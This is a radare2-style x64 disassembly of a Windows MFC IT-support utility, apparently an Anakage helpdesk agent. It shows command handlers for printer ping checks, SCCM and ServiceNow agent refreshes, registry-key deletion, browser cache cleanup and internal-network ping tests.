call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x878]
lea rdx, [rsp + 0x5e8]
lea rcx, [rsp + 0x10d8]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [rsp + 0x5e8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x10d8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x878]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.wmic_printer_get_default_name_portname
lea rcx, [rsp + 0x898]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [rsp + 0x898]
lea rcx, [rsp + 0x10e0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.1400fc5a0
nop
lea rcx, [rsp + 0x438]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x160]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x250]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
xor r8d, r8d
lea rdx, str.TRUE
lea rcx, [rsp + 0xa0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x14009f4bf
lea r8d, [rax - 2]
lea rdx, [rsp + 0x10e8]
lea rcx, [rsp + 0xa0]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0xa0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x10e8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x1401569d8]
lea rcx, [rsp + 0xa0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x10f0]
lea rcx, [rsp + 0xa0]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0xa0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x10f0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0xa0]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov edx, 0x20
lea rcx, [rsp + 0xa0]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov ebx, eax
mov r8d, eax
lea rdx, [rsp + 0x10f8]
lea rcx, [rsp + 0xa0]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x160]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x10f8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x160]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
lea rcx, [rsp + 0xa0]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + reloc.mfc140u.dll_COleCntrFrameWndEx::EnableAutoHidePanes]
lea rcx, [rsp + 0xa0]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0xa0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + reloc.mfc140u.dll_COleCntrFrameWndEx::EnableAutoHidePanes]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0xa0]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov rdx, rax
lea rcx, [rsp + 0x438]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
lea r8, [rsp + 0x438]
lea rdx, str.ping
lea rcx, [rsp + reloc.mfc140u.dll_CCmdTarget::EnableAutomation]
call fcn.14009c1e0
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x248]
call fcn.1400fc5a0
nop
lea rdx, str.PORTPROMPT:
lea rcx, [rsp + 0x438]
call qword [sym.imp.mfc140u.dll_Ordinal_2903]
test eax, eax
js 0x14009f51d
lea rdx, [0x140150ad0]
lea rcx, [rsp + 0x248]
call qword [sym.imp.mfc140u.dll_CMFCControlRendererInfo::CMFCControlRendererInfo]
xor r8d, r8d
lea rdx, str.Ping_request_could_not_find
lea rcx, [rsp + 0x248]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
jns 0x14009f680
xor r8d, r8d
lea rdx, str.Request_timed_out.
lea rcx, [rsp + 0x248]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
jns 0x14009f680
mov sil, 1
lea rax, [rsp + 0x1110]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x248]
lea rcx, [rsp + 0x1110]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.Printer_ping_sucess
lea rcx, [rsp + 0x1118]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
lea rcx, [rsp + 0x160]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
lea rcx, [rsp + 0x160]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::HitTest]
test al, al
jne 0x14009f6e2
lea rdx, str.__Change_your_default_printer_if_this_is_not_correct
lea rcx, [rsp + 0x888]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.Your_printouts_will_go_to__
lea rcx, [rsp + 0x880]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x160]
lea rdx, [rsp + 0x880]
lea rcx, [rsp + 0x1128]
call fcn.140006490
nop
lea r8, [rsp + 0x888]
mov rdx, rax
lea rcx, [rsp + 0x1120]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [rsp + 0x250]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1120]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1128]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x880]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x888]
jmp 0x14009f780
xor sil, sil
lea rax, [rsp + 0x1130]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x248]
lea rcx, [rsp + 0x1130]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.Printer_ping_failed
lea rcx, [rsp + 0x1138]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
lea rcx, [rsp + 0x160]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::HitTest]
test al, al
je 0x14009f6fc
lea rdx, str.Please_make_any_of_the_your_configured_printers_to_Defalult_printer.
lea rcx, [rsp + 0x250]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XPanel::XPanel]
jmp 0x14009f786
lea rdx, str._._It_is_not_connecting._Please_connect_to_VPN_or_LAN._If_you_still_cannot_connect_please_contact_your_IT_support
lea rcx, [rsp + 0x890]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x160]
lea rdx, [0x14016cba8]
lea rcx, [rsp + 0x1148]
call fcn.14009c1e0
nop
lea r8, [rsp + 0x890]
mov rdx, rax
lea rcx, [rsp + 0x1140]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [rsp + 0x250]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1140]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1148]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x890]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x250]
lea rcx, [0x1401e96b0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x248]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x250]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x160]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x438]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xa0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x898]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x5e8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.McafeeMonitor
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x14009f98a
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x320]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x1150]
lea rcx, [rsp + 0x320]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x320]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1150]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [0x140166320]
lea rcx, [rsp + 0x8a0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x1160]
call fcn.1400fe460
nop
lea r8, [rsp + 0x8a0]
mov rdx, rax
lea rcx, [rsp + 0x1158]
call fcn.140006490
nop
lea r8, [rsp + 0x320]
mov rdx, rax
lea rcx, [rsp + 0x8a8]
call fcn.140006490
nop
lea rcx, [rsp + 0x1158]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1160]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x8a0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x8a8]
lea rcx, [rsp + 0x1168]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1170]
call fcn.1400fc5a0
lea rcx, [rsp + 0x1170]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x8a8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x320]
jmp 0x14009d7a2
lea rdx, str.RefreshSnowAgent
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x14009fb7e
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x328]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x328]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x1178]
lea rcx, [rsp + 0x328]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x328]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1178]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [0x140166320]
lea rcx, [rsp + 0x8b0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x1188]
call fcn.1400fe460
nop
lea r8, [rsp + 0x8b0]
mov rdx, rax
lea rcx, [rsp + 0x1180]
call fcn.140006490
nop
lea r8, [rsp + 0x328]
mov rdx, rax
lea rcx, [rsp + 0x8c8]
call fcn.140006490
nop
lea rcx, [rsp + 0x1180]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1188]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x8b0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x8c8]
lea rcx, [rsp + 0x1190]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x8c0]
call fcn.1400fc5a0
nop
lea rax, [rsp + 0x1198]
mov qword [rsp + 0x58], rax
lea rdx, str.RefreshSnowAgent:
lea rcx, [rsp + 0x8b8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [0x140153b2c]
lea rcx, [rsp + 0x1198]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea r8, [rsp + 0x8c0]
lea rdx, [rsp + 0x8b8]
lea rcx, [rsp + 0x11a0]
call fcn.140006490
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
nop
lea rcx, [rsp + 0x8b8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x8c0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x8c8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x328]
jmp 0x14009d7a2
lea rdx, str.RefreshSCCM
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x14009fd26
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x330]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x11a8]
lea rcx, [rsp + 0x330]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x330]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x11a8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x11b8]
call fcn.1400fe460
nop
lea r8, str.AnakageFilesVBScripts_
mov rdx, rax
lea rcx, [rsp + 0x11b0]
call fcn.14007b460
nop
lea r8, [rsp + 0x330]
mov rdx, rax
lea rcx, [rsp + 0x8d8]
call fcn.140006490
nop
lea rcx, [rsp + 0x11b0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x11b8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea r8, [rsp + 0x8d8]
lea rdx, [0x14016cd00]
lea rcx, [rsp + 0x11c0]
call fcn.14009c1e0
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x8d0]
call fcn.1400fc5a0
nop
lea rax, [rsp + 0x11c8]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x8d0]
lea rcx, [rsp + 0x11c8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.RefreshSCCM:
lea rcx, [rsp + 0x11d0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
nop
lea rcx, [rsp + 0x8d0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x8d8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x330]
jmp 0x14009d7a2
lea rdx, str.DeleteRegistryKey
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x14009fdf5
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x338]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x338]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x11d8]
lea rcx, [rsp + 0x338]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x338]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x11d8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x338]
lea rcx, [rsp + 0x11e0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400e4830
nop
lea rcx, [rsp + 0x338]
jmp 0x14009d7a2
lea rdx, str.DeletecacheFiles
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x14009ff52
lea rcx, [rsp + 0x5f0]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x900]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x8f8]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x11f0]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea r8, [rsp + 0x8f8]
lea rdx, [rsp + 0x900]
lea rcx, [rsp + 0x5f0]
call fcn.1400f1ac0
lea rdx, str.AppDataLocalMicrosoftWindowsINetCache
lea rcx, [rsp + 0x8e8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.C:Users_
lea rcx, [rsp + 0x8e0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x5f0]
lea rdx, [rsp + 0x8e0]
lea rcx, [rsp + 0x11e8]
call fcn.140006490
nop
lea r8, [rsp + 0x8e8]
mov rdx, rax
lea rcx, [rsp + 0x8f0]
call fcn.140006490
nop
lea rcx, [rsp + 0x11e8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x8e0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x8e8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x8f0]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
call fcn.1400e44b0
nop
lea rcx, [rsp + 0x8f0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x11f0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x8f8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x900]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x5f0]
jmp 0x14009cc67
xor r8d, r8d
lea rdx, str.ipPing
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a0168
mov sil, 1
lea rdx, str.10.5.140.198
lea rcx, [rsp + 0x920]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.10.5.140.199
lea rcx, [rsp + 0x918]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.ping__n_2
lea rcx, [rsp + 0x908]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x920]
lea rdx, [rsp + 0x908]
lea rcx, [rsp + 0x11f8]
call fcn.140006490
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x100]
call fcn.1400fc5a0
nop
lea rcx, [rsp + 0x908]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x100]
call qword [sym.imp.mfc140u.dll_CPngImage::LoadFromBuffer]
xor r8d, r8d
lea rdx, str.could_not_find_host
lea rcx, [rsp + 0x100]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
jns 0x1400a0059
xor r8d, r8d
lea rdx, str.general_failure
lea rcx, [rsp + 0x100]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
jns 0x1400a0059
xor r8d, r8d
lea rdx, str.destination_host_unreachable
lea rcx, [rsp + 0x100]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a0137
lea rdx, str.ping__n_2
lea rcx, [rsp + 0x910]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x918]
lea rdx, [rsp + 0x910]
lea rcx, [rsp + 0x1200]
call fcn.140006490
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1208]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0x100]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1208]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x910]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x100]
call qword [sym.imp.mfc140u.dll_CPngImage::LoadFromBuffer]
xor sil, sil
xor r8d, r8d
lea rdx, str.could_not_find_host
lea rcx, [rsp + 0x100]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
jns 0x1400a0134
xor r8d, r8d
lea rdx, str.general_failure
lea rcx, [rsp + 0x100]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
jns 0x1400a0134
xor r8d, r8d
lea rdx, str.destination_host_unreachable
lea rcx, [rsp + 0x100]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a0137
xor sil, sil
lea rcx, [rsp + 0x100]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x918]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x920]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, str.DelRegistryKeyAndSubKey
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
xor r8d, r8d
lea rcx, [rsp + 0x50]
test al, al
je 0x1400a023b
